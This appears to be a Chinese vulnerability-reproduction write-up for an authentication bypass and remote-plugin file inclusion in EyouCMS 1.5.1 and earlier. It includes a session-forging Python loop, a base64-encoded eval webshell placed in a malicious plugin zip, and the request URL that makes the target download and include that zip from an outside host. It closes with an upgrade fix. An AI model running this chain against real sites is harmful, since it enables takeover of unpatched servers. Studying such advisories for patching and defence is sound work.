赞赞网络科技 EyouCMS(易优CMS)是中国赞赞网络科技公司的一套基于ThinkPHP的开源内容管理系统(CMS)。
Eyoucms v1.5.1 及以前版本存在任意用户后台登陆与文件包含漏洞,该漏洞使攻击者可以通过调用api,在前台设置一个管理员的session,后台远程插件下载文件包含getshell。
EyouCMS <= 1.5.1
下载
官网下载V1.5.1版本
下载连接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip
安装
通过phpstudy集成环境简单部署
前台设置管理员session在application/api/controller/Ajax.php:215
get_token
函数是可以前台随意调用的,另外形参中的
$name
变量也是通过http传递进来的。跟进token函数,如下图所示。
高亮处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。不可控。
可以尝试通过这个设置session的操作,构造出一个后台管理员的session。然后我们梳理一下后台管理员的登录逻辑。在application/admin/controller/Base.php:54
这里涉及到了两个session,一个admin_login_expire,一个admin_id
if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)
admin_login_expire
(该session会做减法的校验,需要满足一定条件)
admin_id
(该session有就即可,不会验证其值)
设置完这两个session后,我们继续看到if条件判断里还有一个
check_priv
函数,跟进查看:
if (0 >= intval(session('admin_info.role_id')))<p><code>admin_info.role_id</code></p> <p>(满足小于等于0即可)<br>设置完三个session后,就可以进后台了,如图所示:<br><img src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> <p>后台远程插件下载getshell在application/admin/controller/Weapp.php:1235<img src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> <p>这里传进来一个$url,然后做一个url解析,需要满足host为eyoucms.com。<br>也就是程序限制只能从官网下载插件安装,但是这个校验太简单了,可以绕。<br>然后下文就是请求这个下载链接,做解压操作,并包含进来config.php。<br><img src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> <p>这后面再做的插件标准判断已经不起作用了。</p> <h3><strong>0x04 漏洞利用</strong></h3> <p>前台设置一个管理员的session<br>首先我们可以先取出成功登陆后的管理员session与未登录的普通用户session做对比<br>管理员:<br><img src="https://img.php.cn/upload/article/000/000/164/168458488457115.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> <p>普通用户:<br><img src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> <p>调用get_token函数设置名为admin_login_expire的session<br><img src="https://img.php.cn/upload/article/000/000/164/168458488498951.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> <p>再查看该普通用户的session<br><img src="https://img.php.cn/upload/article/000/000/164/168458488422879.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> <p>已成功设置。<br>同样的我们可以把admin_id与admin_info.roke_id添加进去。<br><strong>但是</strong>这md5字符串显然不符合漏洞分析中的要求,所以这里通过脚本不断刷新session,直到寻找到合适的md5值</p> <pre class="brush:php;toolbar:false">while 1 : admin_login_expire = api_psot("admin_login_expire") num_10 = admin_login_expire[2:12] if is_number(num_10): print("admin_login_expire=",num_10) break while 1 : role_id = api_psot("admin_info.role_id") num_1 = role_id[2:3] if num_1 in ["a","b","c","d","e","f"]: print("role_id=",num_1) break admin_id = api_psot("admin_id") print("admin_id=",admin_id[2:-1])
运行结果:
session:
再经过application/admin/controller/Base.php:58和:106的intval()的转换:
成功使用该PHPSESSID进入后台:
后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:
weappp\weapp\test\config.php
config.php
文件内容为写入webshell
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
压缩成weappp.zip,修改后缀为jpg
到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
此时webshell已成功写入:
访问webshell:
升级EyouCMS至V1.5.2或以后版本。
以上是如何进行EyouCMS V1.5.1 前台getshell漏洞复现的详细内容。更多信息请关注PHP中文网其他相关文章!